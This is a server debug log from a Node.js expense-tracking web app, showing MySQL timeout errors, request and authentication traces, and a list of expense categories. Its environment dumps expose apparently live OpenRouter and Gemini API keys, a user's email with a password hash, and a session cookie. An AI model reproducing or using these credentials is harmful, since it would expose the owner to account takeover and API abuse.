    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 23:38:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 04:29:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 04:29:13' as DATETIME)"
}
2026-02-20T04:38:28.265Z server-connect:router Serving templateView /
2026-02-20T04:38:28.268Z server-connect:app Executing action step identify
2026-02-20T04:38:28.268Z server-connect:app options: { provider: 'security' }
2026-02-20T04:38:28.322Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-20T04:38:28.325Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-20T04:38:28.378Z server-connect:output identity: 1
2026-02-20T04:38:28.378Z server-connect:app Executing action step restrict
2026-02-20T04:38:28.378Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-20T04:38:28.379Z server-connect:output restrict: undefined
2026-02-20T04:38:28.379Z server-connect:app Executing action step restrict
2026-02-20T04:38:28.379Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-20T04:38:28.379Z server-connect:output restrict: undefined
2026-02-20T04:38:28.379Z server-connect:router Render template layouts/main
2026-02-20T04:38:28.379Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-21T04:38:28.265Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-20T04:38:35.222Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-20T04:38:35.222Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-20T04:38:35.223Z server-connect:app Executing action step identify
2026-02-20T04:38:35.223Z server-connect:app options: { provider: 'security' }
2026-02-20T04:38:35.223Z server-connect:output identity: 1
2026-02-20T04:38:35.223Z server-connect:app Executing action step restrict
2026-02-20T04:38:35.223Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-20T04:38:35.223Z server-connect:app Executing action step identify
2026-02-20T04:38:35.223Z server-connect:app options: { provider: 'security' }
2026-02-20T04:38:35.223Z server-connect:output identity: 1
2026-02-20T04:38:35.223Z server-connect:app Executing action step restrict
2026-02-20T04:38:35.223Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-20T04:38:35.225Z server-connect:output restrict: undefined
2026-02-20T04:38:35.225Z server-connect:app Executing action step select
2026-02-20T04:38:35.225Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-20T04:38:35.226Z server-connect:output restrict: undefined
2026-02-20T04:38:35.226Z server-connect:app Executing action step single
2026-02-20T04:38:35.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-20T04:38:35.227Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-20T04:38:35.232Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 07:07:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 07:07:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 14:10:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 14:10:14' as DATETIME)"
}
2026-02-20T14:16:12.207Z server-connect:router Serving templateView /
2026-02-20T14:16:12.208Z server-connect:app Executing action step identify
2026-02-20T14:16:12.208Z server-connect:app options: { provider: 'security' }
2026-02-20T14:16:12.208Z server-connect:auth No login cookie found
2026-02-20T14:16:12.208Z server-connect:output identity: false
2026-02-20T14:16:12.208Z server-connect:app Executing action step restrict
2026-02-20T14:16:12.208Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-20T14:16:12.209Z server-connect:output restrict: undefined
2026-02-20T14:16:15.587Z server-connect:router Serving templateView /login
2026-02-20T14:16:15.588Z server-connect:app Executing action step identify
2026-02-20T14:16:15.588Z server-connect:app options: { provider: 'security' }
2026-02-20T14:16:15.588Z server-connect:auth No login cookie found
2026-02-20T14:16:15.588Z server-connect:output identity: false
2026-02-20T14:16:15.588Z server-connect:router Render template layouts/authentication
2026-02-20T14:16:15.588Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.117',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-21T14:16:15.587Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.117',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.117',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 15:35:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 15:35:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-20 15:54:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-20 15:54:14' as DATETIME)"
}
